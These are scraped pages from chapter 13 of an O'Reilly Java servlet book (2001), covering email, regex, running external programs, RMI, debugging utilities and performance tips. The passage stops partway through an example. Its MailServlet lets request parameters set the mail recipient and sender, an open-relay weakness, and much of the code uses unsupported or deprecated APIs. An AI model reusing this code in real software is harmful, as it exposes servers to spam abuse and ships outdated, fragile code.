12.7. Receiving Multilingual Input | Book Index | 13.2. Sending Email
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Sending Email (Java Servlet Programming)

 Java Servlet Programming Search this book

13.2. Sending Email

Sometimes it's necessary, or just convenient, for a servlet to fire off an email message. For example, imagine a servlet that receives data from a user feedback form. The servlet might want to send the feedback data to a mailing list of interested parties. Or imagine a servlet that encounters an unexpected problem and knows to send an email page to its administrator asking for help.

A servlet has four choices for sending email:

  • It can manage the details itself--establishing a raw socket connection to a mail server and speaking a low-level mail transport protocol, usually the so-called Simple Mail Transfer Protocol (SMTP).

  • It can run on external command-line email program, if the server system has such a program.

  • It can use the new JavaMail API, designed to support complicated mail handling, filing, and processing (see http://java.sun.com/products/javamail).

  • It can use one of the many freely available mail classes that abstracts the details of sending email into simple, convenient method calls.

For most servlets, we recommend the final approach for its simplicity.

13.2.1. Using sun.net.smtp.SmtpClient

For the purposes of this example, we'll demonstrate a servlet that uses the sun.net.smtp.SmtpClient class. It's conveniently provided with Sun's JDK and most JVMs descended from it, but we should warn you that it's unsupported and subject to change (though it hasn't changed since JDK 1.0). Using it is simple:

  1. Call SmtpClientsmtp=newSmtpClient(). Optionally, pass the constructor the name of a host to use as the mail server, which replaces the default of localhost. Most Unix machines can act as SMTP mail servers.

  2. Call smtp.from(fromAddress), specifying the address of the sender. The address doesn't have to be valid.

  3. Call smtp.to(toAddress), specifying the address of the receiver.

  4. Call PrintStreammsg=smtp.startMessage() to get an output stream for the message.

  5. Write any mail headers to the PrintStream. For example, "Subject: Customer feedback". The headers should conform to the format given in RFC 822 at http://www.ietf.org/rfc/rfc822.txt. The basic syntax is "name : value".

  6. Write the body of the mail message to the PrintStream.

  7. Call smtp.closeServer() to close the connection to the server and send the message.

13.2.2. Emailing Form Data

Example 13-3 shows a servlet that emails the form data it receives to a mailing list. Notice the extensive use of the ParameterParser class.

Example 13-3. Sending mail from a servlet

import java.io.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

import com.oreilly.servlet.ParameterParser;
import com.oreilly.servlet.ServletUtils;

import sun.net.smtp.SmtpClient;

public class MailServlet extends HttpServlet {

  static final String FROM = "MailServlet";
  static final String TO = "feedback-folks@attentive-company.com";

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/plain");
    PrintWriter out = res.getWriter();

    ParameterParser parser = new ParameterParser(req);
    String from = parser.getStringParameter("from", FROM);
    String to = parser.getStringParameter("to", TO);

    try {
      SmtpClient smtp = new SmtpClient();  // assume localhost
      smtp.from(from);
      smtp.to(to);
      PrintStream msg = smtp.startMessage();

      msg.println("To: " + to);  // so mailers will display the To: address
      msg.println("Subject: Customer feedback");
      msg.println();

      Enumeration enum = req.getParameterNames();
      while (enum.hasMoreElements()) {
        String name = (String)enum.nextElement();
        if (name.equals("to") || name.equals("from")) continue;  // Skip to/from
        String value = parser.getStringParameter(name, null);
        msg.println(name + " = " + value);
      }

      msg.println();
      msg.println("---");
      msg.println("Sent by " + HttpUtils.getRequestURL(req));

      smtp.closeServer();

      out.println("Thanks for the submission...");
    }
    catch (IOException e) {
      out.println("There was a problem handling the submission...");
      getServletContext().log(e, "There was a problem sending email");
    }
  }
}

This servlet first determines the "from" and "to" addresses for the message. The default values are set in the FROM and TO variables, although a submitted form can include (probably hidden) fields that specify alternate from and to addresses. The servlet then begins an SMTP email message. It connects to the local host and addresses the message. Next, it sets its headers and fills the body with the form data, ignoring the to and from variables. Finally, it sends the message and thanks the user for the submission. If there's a problem, it informs the user and logs the exception.

Previous | Home | Next
13.1. Parsing Parameters | Book Index | 13.3. Using Regular Expressions
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Using Regular Expressions (Java Servlet Programming)

 Java Servlet Programming Search this book

13.3. Using Regular Expressions

If you're a servlet programmer with a background in Perl-based CGI scripting and you're still smitten with Perl's regular expression capabilities, this section is for you. Here we show how to use Perl 5 regular expressions from within Java. For those of you who are unfamiliar with regular expressions, they are a mechanism for allowing extremely advanced string manipulation with minimal code. Regular expressions are wonderfully explained in all their glory in the book Mastering Regular Expressionsby Jeffrey E. F. Friedl (O'Reilly).

With all the classes and capabilities Sun has added in JDK 1.1 and JDK 1.2, one feature still absent is a regular expression engine. Ah, well, not to worry. As with most Java features, if you can't get it from Sun, a third-party vendor is probably offering what you need at a reasonable price.

Several companies offer full-featured regular expression engines. One of the first was Thought, Inc., which developed VanillaSearch. It's available for trial download and purchase at http://www.thoughtinc.com. More recently, Original Reusable Objects, Inc. has come out with a product called OROMatcher (along with a utility package built using OROMatcher called PerlTools). These products are available for download at http://www.oroinc.com. A binary license to use OROMatcher and PerlTools is being offered absolutely free. Support, source, and "mere" redistribution (that is, as added value to an IDE) cost extra.

13.3.1. Improving Deblink with Regular Expressions

To demonstrate the use of regular expressions, let's use OROMatcher and PerlTools to rewrite the Deblink servlet originally shown in Chapter 2, "HTTP Servlet Basics". As you may recall, Deblink acted as a filter to remove the <BLINK> and </BLINK> tags from HTML pages. The original Deblink code is shown in Example 13-4 to help refresh your memory.

Example 13-4. The original Deblink

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class Deblink extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {

    String contentType = req.getContentType();  // get the incoming type
    if (contentType == null) return;  // nothing incoming, nothing to do
    res.setContentType(contentType);  // set outgoing type to be incoming type

    PrintWriter out = res.getWriter();

    BufferedReader in = req.getReader();

    String line = null;
    while ((line = in.readLine()) != null) {
      line = replace(line, "<BLINK>", "");
      line = replace(line, "</BLINK>", "");
      out.println(line);
    }
  }

  public void doPost(HttpServletRequest req, HttpServletResponse res)
                                throws ServletException, IOException {
    doGet(req, res);
  }

  private String replace(String line, String oldString, String newString) {
    int index = 0;
    while ((index = line.indexOf(oldString, index)) >= 0) {
      // Replace the old string with the new string (inefficiently)
      line = line.substring(0, index) +
             newString +
             line.substring(index + oldString.length());
      index += newString.length();
    }
    return line;
  }
}

As we pointed out in Chapter 2, "HTTP Servlet Basics", this version of Deblink has one serious limitation: it's case sensitive. It won't remove <blink>, </blink>, <Blink>, or </Blink>. Sure, we could enumerate inside Deblink all the case combinations that should be removed, but regular expressions provide a much simpler alternative.

With a single regular expression, we can rewrite Deblink to remove the opening and closing blink tags, no matter how they are capitalized. The regular expression we'll use is "</?blink>". This matches both <blink> and </blink>. (The ? character means the previous character is optional.) With a case-insensitive mask set, this expression also matches <BLINK>, </Blink>, and even <bLINK>. Any occurrence of this regular expression can be replaced with the empty string, to completely deblink an HTML page. The rewritten Deblink code appears in Example 13-5.

Example 13-5. Deblink rewritten using regular expressions

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

import com.oroinc.text.perl.*;  // PerlTools package

public class Deblink extends HttpServlet {

  Perl5Util perl = new Perl5Util();

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {

    String contentType = req.getContentType();  // get the incoming type
    if (contentType == null) return;  // nothing incoming, nothing to do
    res.setContentType(contentType);  // set outgoing type to be incoming type

    PrintWriter out = res.getWriter();

    BufferedReader in = req.getReader();

    try {
      String line = null;
      while ((line = in.readLine()) != null) {
        if (perl.match("#</?blink>#i", line))
          line = perl.substitute("s#</?blink>##ig", line);
        out.println(line);
      }
    }
    catch(MalformedPerl5PatternException e) { // only thrown during development
      log("Problem compiling a regular expression: " + e.getMessage());
    }
  }

  public void doPost(HttpServletRequest req, HttpServletResponse res)
                                throws ServletException, IOException {
    doGet(req, res);
  }
}

The most important lines of this servlet are the lines that replace our "</?blink>" expression with the empty string:

if (perl.match("#</?blink>#i", line))
  line = perl.substitute("s#</?blink>##ig", line);

The first line does a case-insensitive search for the regular expression </?blink>. The syntax is exactly like Perl. It may look slightly unfamiliar, though, because we chose to use hash marks instead of slashes to avoid having to escape the slash that's part of the expression (which would result in "/<\\/?blink>/i"). The trailing "i" indicates the regular expression is case insensitive.

The second line substitutes all occurrences of the regular expression with the empty string. This line alone would accomplish the same as both lines together, but it's more efficient to do the check first. The syntax is also identical to Perl. The text between the first pair of hashes is the regular expression to search for. The text between the second pair is the replacement text. The trailing "g" indicates that all occurrences should be replaced (the default is one replacement per line).

For more information on what can be done with regular expressions in Java, see the documentation that comes with each of the third-party products.

Previous | Home | Next
13.2. Sending Email | Book Index | 13.4. Executing Programs
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Executing Programs (Java Servlet Programming)

 Java Servlet Programming Search this book

13.4. Executing Programs

Sometimes a servlet needs to execute an external program. This is generally important in situations where an external program offers functionality that isn't easily available from within Java. For example, a servlet could call an external program to perform an image manipulation or to check the status of the server. Launching an external program raises a number of security concerns. For this reason, it's an action that can be taken only by servlets running with a fairly lenient security manager--specifically, a security manager that grants permission for the servlet to call the exec() method of java.lang.Runtime.

13.4.1. Finger

The finger program queries a (possibly remote) computer for a list of currently logged in users. It's available on virtually all Unix systems and some Windows NT machines with networking capabilities. The finger program works by connecting to a finger daemon (usually named fingerd) that listens on port 79. finger makes its request of fingerd using a custom "finger" protocol, and fingerd replies with the appropriate information. Most Unix systems run fingerd, though many security-conscious administrators turn it off to limit information that could be used for break-in attempts. It's still fairly rare to find fingerd on Windows systems. Run without any arguments, finger reports all users of the local machine. The local machine must be running fingerd. Here's an example:

% finger
Login    Name                  TTY Idle When       Office
jhunter  Jason Hunter          q0  3:13 Thu 12:13
ktaylor  Kristi Taylor         q1       Thu 12:18

Run with a username as an argument, finger reports on just that user:

% finger jhunter
Login name: jhunter                     In real life: Jason Hunter
Directory: /usr/people/jhunter          Shell: /bin/tcsh
On since Jan  1 12:13:28 on ttyq0 from :0.0
3 hours 13 minutes Idle Time
On since Jan  1 12:13:30 on ttyq2 from :0.0

Run with a hostname as an argument, finger reports all the users of the specified host. The remote host must be running fingerd:

% finger @deimos
Login    Name                  TTY Idle When       Office
bday     Bill Day              q0   17d Mon 10:45

And, of course, run with a username and hostname, finger reports on the specified user on the specified host:

% finger bday@deimos
[deimos.engr.sgi.com]
Login name: bday                        In real life: Bill Day
Directory: /usr/people/bday             Shell: /bin/tcsh
On since Dec 15 10:45:22 on ttyq0 from :0.0
17 days Idle Time

13.4.2. Executing the Finger Command

Let's assume that a servlet wants access to the information retrieved by finger. It has two options: it can establish a socket connection to fingerd and make a request for information just like any other finger client, or it can execute the command-line finger program to make the connection on its behalf and read the information from finger's output. We'll show the second technique here.[1]

[1]If you're interested in the code necessary to connect to fingerd, see the FingerServlet example provided with the Java Web Server.

Example 13-6 shows how a servlet can execute the finger command to see who's logged into the local machine. It reads the command's output and prints it to its output stream.

Example 13-6. Executing the finger command from a servlet

import java.io.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

import com.oreilly.servlet.ServletUtils;

public class Finger extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/plain");
    PrintWriter out = res.getWriter();

    String command = "finger";

    Runtime runtime = Runtime.getRuntime();
    Process process = null;
    try {
      process = runtime.exec(command);
      DataInputStream in = new DataInputStream(process.getInputStream());

      // Read and print the output
      String line = null;
      while ((line = in.readLine()) != null) {
        out.println(line);
      }
    }
    catch (Exception e) {
      out.println("Problem with finger: " +
                  ServletUtils.getStackTraceAsString(e));
    }
  }
}

This servlet uses the exec() command just like any other Java class would. It executes the finger command, then reads and prints the output. If there's a problem, the servlet catches an exception and prints the stack trace to the user. This servlet assumes the finger command exists in the default search path. If that isn't the case, change the command string to specify the path where finger can be found.

We should point out that, although Java is executing native code when it executes the finger program, it doesn't open itself up to the risks that normally exist when executing native code. The reason is that the finger program executes as a separate process. It can crash or be killed without impacting the server executing the servlet.

13.4.3. Executing Finger with Arguments

Now let's assume we want to pass an argument to the finger command. The usage is slightly different. exec() takes either a single string that specifies a command or an array of strings that specifies a command and the arguments to pass to that command. To run finger jhunter the code looks like Example 13-7.

Example 13-7. Adding a parameter to the executed command

import java.io.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

import com.oreilly.servlet.ServletUtils;

public class Finger extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/plain");
    PrintWriter out = res.getWriter();

    String[] command = { "finger", "jhunter" };  // Only change!

    Runtime runtime = Runtime.getRuntime();
    Process process = null;
    try {
      process = runtime.exec(command);
      BufferedReader in =
      new BufferedReader(new InputStreamReader(process.getInputStream()));

      // Read and print the output
      String line = null;
      while ((line = in.readLine()) != null) {
        out.println(line);
      }
    }
    catch (Exception e) {
      out.println("Problem with finger: " +
                  ServletUtils.getStackTraceAsString(e));
    }
  }
}

The command variable is now the string array {"finger","jhunter"}. The command would not work as the single string "finger jhunter".

13.4.4. Executing Finger with Redirected Output

Finally, let's assume we want to redirect the output from our finger command. We may want to redirect the output to a file for later use, as in finger jhunter > /tmp/jhunter. Or we may want to redirect the output to the grep program to remove any references to some user, as in finger | grep -v jhunter.

This task is harder than it may appear. If the command variable is set to the string "finger | grep -v jhunter", Java treats this string as the name of as a single program--one that it most assuredly won't find. If the command variable is set to the string array "{"finger","|","grep","-v","jhunter"}", Java executes the finger command and pass it the next four strings as parameters, no doubt thoroughly confusing finger.

The solution requires an understanding that redirection is a feature of the shell. The shell is the program into which you normally type commands. On Unix the most common shells are csh, tcsh, bash, and sh. On Windows 95, the shell is usually command.com. On Windows NT, the shell is either command.com or cmd.exe.

Instead of executing finger directly, we can execute a shell and tell it the command string we want run. That string can contain the finger command and any sort of redirection. The shell can parse the command and correctly recognize and perform the redirection. The exact command needed to execute a shell and program depends on the shell and thus on the operating system. This technique therefore necessarily limits the platform independence of the servlets that use it. On a Unix system, the following command variable asks csh to execute the command finger | grep -v jhunter:

String[] command = { "/bin/csh", "-c", "finger | grep -v jhunter" };

The program Java executes is /bin/csh. csh is passed two arguments: -c, which asks the shell to execute the next parameter, and finger | grep -v jhunter, which is executed by the shell.

On a Windows system, the command variable looks like this:

String[] command = { "command.com", "/c", "finger | grep -v jhunter" };

The /c argument for command.com works the same way -c did for csh and, yes, the .com suffix is necessary. Windows NT users should note that using cmd.exe is problematic because it redirects its output to a new window instead of to the Java runtime that spawned it. In fact, even launching the Java Web Server from a cmd.exe shell can cause the command.com command to fail.

Previous | Home | Next
13.3. Using Regular Expressions | Book Index | 13.5. Using Native Methods
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Using Native Methods (Java Servlet Programming)

 Java Servlet Programming Search this book

13.5. Using Native Methods

Despite Sun's push for 100% Pure Java, native code still has its place. You need native code to do things that Java (and external programs launched by Java) cannot do: locking files, accessing user IDs, accessing shared memory, sending faxes, and so on. Native code is also useful when accessing legacy data through non-Java gateways. Last, in situations where every last bit of performance is vital, native code libraries can give a servlet a big boost.

Native code, however, should not be used except when absolutely necessary, since if the native code run by a servlet goes south, the entire server goes down with it! The security protections in Java can't protect the server from native code crashes. For this reason, it's wise not to use the native JDBC-ODBC bridge from a servlet because many ODBC drivers seem to have problems with multithreaded access. Native code also limits the platform independence of a servlet. While this may not matter for custom-built servlets tied to a particular server, it's something to remember.

How a servlet accesses native methods depends on the web server and JVM in which it's running. To take a risk and speak in broad generalities, let us say that you can pretty much expect your web server and JVM to support the standard Java Native Interface (JNI). Using JNI is fairly involved, and even a basic introduction extends beyond the scope of this chapter. For a tutorial on JNI, see the upcoming Java Native Methods, by Alligator Descartes (O'Reilly).

When using JNI with servlets, remember these things:

  • Only the most liberal server security managers allow a servlet to execute native code.

  • There is a common JVM bug that doesn't allow native code to be loaded by a class that was loaded with a custom class loader (such as the class loader that loads servlets from the default servlet directory). Servlets using native code may therefore need to reside in the server's classpath (server_root/classes).

  • The directory where the shared library (or dynamic load library or DLL) that contains the native code is placed depends on the web server and JVM. Some servers have specific locations where they look for shared libraries. For example, the Java Web Server looks in server_root\lib on Windows and server_root/lib/sparc/solaris on Solaris. If the server doesn't provide a specific shared library directory, try placing the library in a JVM-specific location such as jdk_root\bin or under jdk_root/lib, or try an operating system-specific location such as windows_root\system32 or /usr/lib.

Previous | Home | Next
13.4. Executing Programs | Book Index | 13.6. Acting as an RMI Client
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Acting as an RMI Client (Java Servlet Programming)

 Java Servlet Programming Search this book

13.6. Acting as an RMI Client

In Chapter 10, "Applet-Servlet Communication", we saw how a servlet can act as an RMI server. Here we turn the tables and see a servlet acting as an RMI client. By taking the role of an RMI client, a servlet can leverage the services of other servers to accomplish its task, coordinate its efforts with other servers or servlets on those servers, and/or act as an proxy on behalf of applets that can't communicate with RMI servers themselves.

Example 13-8 shows DaytimeClientServlet, a servlet that gets the current time of day from the DaytimeServlet RMI server shown in Chapter 10, "Applet-Servlet Communication".

Example 13-8. A servlet as an RMI client

import java.io.*;
import java.rmi.*;
import java.rmi.registry.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class DaytimeClientServlet extends HttpServlet {

  DaytimeServer daytime;

  // Returns a reference to a DaytimeServer or null if there was a problem.
  protected DaytimeServer getDaytimeServer() {
    // Set the security manager if it hasn't been done already.
    // Provides protection from a malicious DaytimeServer stub.
    if (System.getSecurityManager() == null) {
      System.setSecurityManager(new RMISecurityManager());
    }

    try {
      Registry registry =
        LocateRegistry.getRegistry(getRegistryHost(), getRegistryPort());
      return (DaytimeServer)registry.lookup(getRegistryName());
    }
    catch (Exception e) {
      getServletContext().log(e, "Problem getting DaytimeServer reference");
      return null;
    }
  }

  private String getRegistryName() {
    String name = getInitParameter("registryName");
    return (name == null ? "DaytimeServlet" : name);
  }

  private String getRegistryHost() {
    // Return either the hostname given by "registryHost" or
    // if no name was given return null to imply localhost
    return getInitParameter("registryHost");
  }

  private int getRegistryPort() {
    try { return Integer.parseInt(getInitParameter("registryPort")); }
    catch (NumberFormatException e) { return Registry.REGISTRY_PORT; }
  }

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/plain");
    PrintWriter out = res.getWriter();

    // Get a daytime object if we haven't before
    if (daytime == null) {
      daytime = getDaytimeServer();
      if (daytime == null) {
        // Couldn't get it, so report we're unavailable.
        throw new UnavailableException(this, "Could not locate daytime");
      }
    }

    // Get and print the current time on the (possibly remote) daytime host
    out.println(daytime.getDate().toString());
  }
}

This servlet should remind you of the applet you saw in Chapter 10, "Applet-Servlet Communication". Both servlets and applets perform the same basic steps to access an RMI server. They both locate a registry using a hostname and port number, then use that registry to look up a reference to the remote object. The only significant difference is that a servlet must first ensure it's running under the protection of a default security manager. Every RMI client has to have a security manager in place to protect itself from hostile remotely loaded stubs. An applet is guaranteed to run under an applet security manager, so this step isn't necessary. A servlet, however, can operate without a default security manager, so before acting as an RMI client it may need to assign one.

Previous | Home | Next
13.5. Using Native Methods | Book Index | 13.7. Debugging
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Debugging (Java Servlet Programming)

 Java Servlet Programming Search this book

13.7. Debugging

The testing/debugging phase is one of the hardest aspects of developing servlets. Servlets tend to involve a large amount of client/server interaction, making errors likely--but hard to reproduce. It can also be hard to track down the cause of nonobvious errors because servlets don't work well with standard debuggers, since they run inside a heavily multithreaded and generally complex web server. Here are a few hints and suggestions that may aid you in your debugging.

13.7.1. Check the Logs

When you first think there might be a problem, check the logs. Most servers output an error log where you can find a list of all the errors observed by the server and an event log where you can find a list of interesting servlet events. The event log may also hold the messages logged by servlets through the log() method, but not always.

Note that many servers buffer their output to these logs to improve performance. When hunting down a problem, you may want to stop this buffering (usually by reducing the server's buffer size to 0 bytes), so you can see problems as they occur. Be sure to reset the buffer size to a reasonable value afterward.

13.7.2. Output Extra Information

If you don't see an indication of the problem in the server's logs, try having your servlet log extra information with the log()method. As you've seen in examples elsewhere in this book, we habitually log stack traces and other error situations. During debugging, you can add a few temporary log() commands as a poor man's debugger, to get a general idea of the code execution path and the values of the servlet's variables. Sometimes it's convenient to leave the log() commands in a servlet surrounded by if clauses so they trigger only when a specific debug init parameter is set to true.

Extracting the extra information from the server's logs can at times be unwieldy. To make the temporary debugging information easier to find, you can have a servlet output its debug information to the client (through the PrintWriter) or to a console on the server (through System.out). Not all servers have a console associated with a servlet's System.out; some redirect the output to a file instead.

13.7.3. Use a Standard Debugger

It's also possible to use a standard debugger to track down servlet problems, although exactly how might not be intuitively obvious. After all, you can't debug a servlet directly because servlets aren't standalone programs. Servlets are server extensions, and, as such, they need to run inside a server.

Fortunately, Sun provides a simple "servlet runner" server perfect for debugging servlets. This servlet runner acts as a small all-Java web server that is simpler and more lightweight than the Java Web Server--it handles only HTTP requests for servlets, and it doesn't even serve files. You'll find the servlet runner packaged as part of the Java Servlet Development Kit (JSDK), available from http://jserv.java.sun.com.

The servlet runner can be executed from the command line as the servletrunner shell script on a Unix system or the servletrunner.exe program on Windows. What servletrunner does is set the classpath to include the appropriate classes and then execute java sun.servlet.http.HttpServer. The HttpServer class contains the main() method that listens for incoming requests for servlets. By default, it listens on port 8080.

To debug a servlet, we can debug sun.servlet.http.HttpServer, then watch as HttpServer executes servlets in response to HTTP requests we make from a browser. This is very similar to how applets are debugged. The difference is that with applets, the actual program being debugged is sun.applet.AppletViewer. Most debuggers hide this detail by automatically knowing how to debug applets. Until they do the same for servlets, you have to help your debugger by doing the following:

  1. Set your debugger's classpath so that it can find sun.servlet.http.Http-Server and associated classes.

  2. Set your debugger's classpath so that it can also find your servlets and support classes, typically server_root/servlets and server_root/classes. You normally wouldn't want server_root/servlets in your classpath because it disables servlet reloading. This inclusion, however, is useful for debugging. It allows your debugger to set breakpoints in a servlet before the custom servlet loader in HttpServer loads the servlet.

Once you have set the proper classpath, start debugging sun.servlet.http.HttpServer. You can set breakpoints in whatever servlet you're interested in debugging, then use a web browser to make a request to the HttpServer for the given servlet (http://localhost:8080/servlet/ServletToDebug). You should see execution stop at your breakpoints.

13.7.4. Use a Third-Party Tool

Third-party tools promise to bring new capabilities and ease of use to the task of servlet debugging. LiveSoftware, maker of the popular JRun servlet plug-in, was the first company to market a tool for servlet debugging. The product, named ServletDebugger, is designed to help programmatically test and debug a servlet. ServletDebugger doesn't require using HttpServer or a browser to make a request. Instead, you use a set of classes to write a small stub class that prepares and executes a servlet request. The stub specifies everything: the servlet's init parameters, the request's HTTP headers, and the request's parameters. ServletDebugger is fairly straightforward and is well suited to automated testing. The largest drawback is that it takes extra effort to properly prepare a realistic request. ServletDebugger is available from http://www.livesoftware.com.

You can expect additional third-party debugging tools to become available as servlets become more popular.

13.7.5. Examine the Client Request

Sometimes when a servlet doesn't behave as expected, it's useful to look at the raw HTTP request to which it's responding. If you're familiar with the structure of HTTP, you can read the request and see exactly where a servlet might get confused.[2] One way to see the raw request is to replace the web server process with a custom server application that prints out everything it receives. Example 13-9 shows such a server.

[2] Of course, if you're not familiar with the structure of HTTP, it may be you who are getting confused. In that case, we recommend reading the HTTP primer in Chapter 2, "HTTP Servlet Basics" and the book Web Client Programmingby Clinton Wong (O'Reilly).

Example 13-9. Catching a client request

import java.io.*;
import java.net.*;
import java.util.*;

public class SocketWatch {

  private static void printUsage() {
    System.out.println("usage: java SocketWatch port");
  }

  public static void main(String[] args) {
    if (args.length < 1) {
      printUsage();
      return;
    }

    // The first argument is the port to listen on
    int port;
    try {
      port = Integer.parseInt(args[0]);
    }
    catch (NumberFormatException e) {
      printUsage();
      return;
    }

    try {
      // Establish a server socket to accept client connections
      // As each connection comes in, pass it to a handler thread
      ServerSocket ss = new ServerSocket(port);
      while (true) {
        Socket request = ss.accept();
        new HandlerThread(request).start();
      }
    }
    catch (Exception e) {
      e.printStackTrace();
    }
  }
}

class HandlerThread extends Thread {

  Socket s;

  public HandlerThread(Socket s) {
    this.s = s;
  }

  public void run() {
    try {
      // Print each byte as it comes in from the socket
      InputStream in = s.getInputStream();
      byte[] bytes = new byte[1];
      while ((in.read(bytes)) != -1) {
        System.out.print((char)bytes[0]);
      }
    }
    catch (Exception e) {
      e.printStackTrace();
    }
  }
}

You can start this server listening on port 8080 by typing java SocketWatch 8080 in a shell. Note that two applications can't listen to the same socket at the same time, so you should first make sure there's no other server listening on your chosen port. Once you have the server running, you can make HTTP requests to it as if it were a normal web server. For example, you can use a web browser to surf to http://localhost:8080. When SocketWatch receives the browser's HTTP request, it sends the request to its standard out for your examination. The browser, meanwhile, is likely to be busy waiting for a response that will never come. You can end its wait by hitting the Stop button.

Here is some sample output from SocketWatch that shows the details of a GET request made to http://localhost:8080 :

GET / HTTP/1.0
Connection: Keep-Alive
User-Agent: Mozilla/3.03C-SGI (X11; I; IRIX 6.2 IP22)
Pragma: no-cache
Host: localhost:8080
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Cookie: jwssessionid=USN1RLIAAAAABQDGPM5QAAA

13.7.6. Create a Custom Client Request

In addition to catching and examining a client's HTTP request, you may find it useful to create your own HTTP request. You can do this by connecting to the server socket on which the web server is listening, then manually entering a properly structured HTTP request. To establish the connection, you can use the telnet program, available on all Unix machines and most Windows machines with networking. The telnet program accepts as arguments the host and port number to which it should connect. Once you're connected, you can make a request that looks like what you saw in the last section. Fortunately, your request can be far simpler--all you need to specify is the first line, saying what to get, and the last line, which must be an empty line that indicates the end of the request. For example:

% telnet localhost 8080
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET /servlet/ParameterSnoop?name=value HTTP/1.0

HTTP/1.1 200 OK
Server: JavaWebServer/1.1.1
Content-Type: text/plain
Connection: close
Date: Sun, 12 Apr 1998 20:29:06 GMT

Query String:
name=value

Request Parameters:
name (0): value
Connection closed by foreign host.

As is too often the case, Windows behaves a little differently than you'd like. The default Windows telnet.exe program misformats many web server responses because it doesn't understand that on the Web, a line feed should be treated the same as a line feed and carriage return. In lieu of telnet.exe, Windows programmers can use the better-behaved Java program shown in Example 13-10.

Example 13-10. Another way to connect to a web server

import java.io.*;
import java.net.*;
import java.util.*;

public class HttpClient {

  private static void printUsage() {
    System.out.println("usage: java HttpClient host port");
  }

  public static void main(String[] args) {
    if (args.length < 2) {
      printUsage();
      return;
    }

    // Host is the first parameter, port is the second
    String host = args[0];
    int port;
    try {
      port = Integer.parseInt(args[1]);
    }
    catch (NumberFormatException e) {
      printUsage();
      return;
    }

    try {
      // Open a socket to the server
      Socket s = new Socket(host, port);

      // Start a thread to send keyboard input to the server
      new KeyboardInputManager(System.in, s).start();

      // Now print everything we receive from the socket
      BufferedReader in =
        new BufferedReader(new InputStreamReader(s.getInputStream()));
      String line;
      while ((line = in.readLine()) != null) {
        System.out.println(line);
      }
    }
    catch (Exception e) {
      e.printStackTrace();
    }
  }
}

class KeyboardInputManager extends Thread {

  InputStream in;
  Socket s;

  public KeyboardInputManager(InputStream in, Socket s) {
    this.in = in;
    this.s = s;
    setPriority(MIN_PRIORITY);  // socket reads should have a higher priority
                                // Wish I could use a select() !
    setDaemon(true);  // let the app die even when this thread is running
  }

  public void run() {
    try {
      BufferedReader keyb = new BufferedReader(new InputStreamReader(in));
      PrintWriter server = new PrintWriter(s.getOutputStream());

      String line;
      System.out.println("Connected... Type your manual HTTP request");
      System.out.println("------------------------------------------");
      while ((line = keyb.readLine()) != null) {
        server.print(line);
        server.print("\r\n");  // HTTP lines end with \r\n
        server.flush();
      }
    }
    catch (Exception e) {
      e.printStackTrace();
    }
  }
}

This HttpClient program operates similarly to telnet:

% java HttpClient localhost 8080
Connected... Type your manual HTTP request
------------------------------------------
GET / HTTP/1.0

HTTP/1.1 200 OK
Server: JavaWebServer/1.1.1
Content-Length: 1999
Content-Type: text/html
Last-Modified: Mon, 12 Jan 1998 08:26:20 GMT
Date: Wed, 08 Apr 1998 23:41:50 GMT

<html>
  <head>
    <title>Java(TM) Web Server Default Page</title>
  </head>
  ...

13.7.7. Some Final Tips

If all the advice so far hasn't helped track down your bug, here are some final tips on servlet debugging:

  • Use System.getProperty("java.class.path") from your servlet to help debug classpath problems. Because servlets are often run from web servers with embedded JVMs, it can be hard at times to identify exactly what classpath the JVM is searching. The property "java.class.path" will tell you.

  • Be aware that server_root/classes doesn't reload and that server_root/servlets probably does.

  • Ask a browser to show the raw content of the page it is displaying. This can help identify formatting problems. It's usually an option under the View menu.

  • Make sure the browser isn't caching a previous request's output by forcing a full reload of the page. With Netscape Navigator, use Shift-Reload; with Internet Explorer use Shift-Refresh.

  • Verify that your servlet's init() method takes a ServletConfig parameter and calls super.init(config) right away.

Previous | Home | Next
13.6. Acting as an RMI Client | Book Index | 13.8. Performance Tuning
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Performance Tuning (Java Servlet Programming)

 Java Servlet Programming Search this book

13.8. Performance Tuning

Performance tuning servlets requires a slightly different mindset than performance tuning normal Java applications or applets. The reason is that the JVM running the servlets is expected to simultaneously handle dozens, if not hundreds, of threads, each executing a servlet. These coexisting servlets have to share the resources of the JVM in a way that normal applications do not. The traditional performance-tuning tricks still apply, of course, but they have a different impact when used in a heavily multithreaded system. What follows are some of the tricks that have the largest special impact on servlet developers.

13.8.1. Go Forth, but Don't Prosper

Avoid the unnecessary creation of objects. This has always been good advice--creating unnecessary objects wastes memory and wastes a fair amount of time as the objects are created. With servlets, it's even better advice. All but the most recent JVMs have a global object heap that must be locked for each new memory allocation. While any servlet is creating a new object or allocating additional memory, no other servlet can do so.

13.8.2. Don't Append by Concatenation

Avoid concatenating several strings together. Use the append() method of StringBuffer instead. This too has always been good advice, but with servlets it's particularly tempting to write code like this to prepare a string for later output:

String output;
output += "<TITLE>";
output += "Hello, " + user;
output += "</TITLE>";

Although this code looks nice and neat, when it runs it executes as if written roughly as follows, with a new StringBuffer and new String created on each line:

String output;
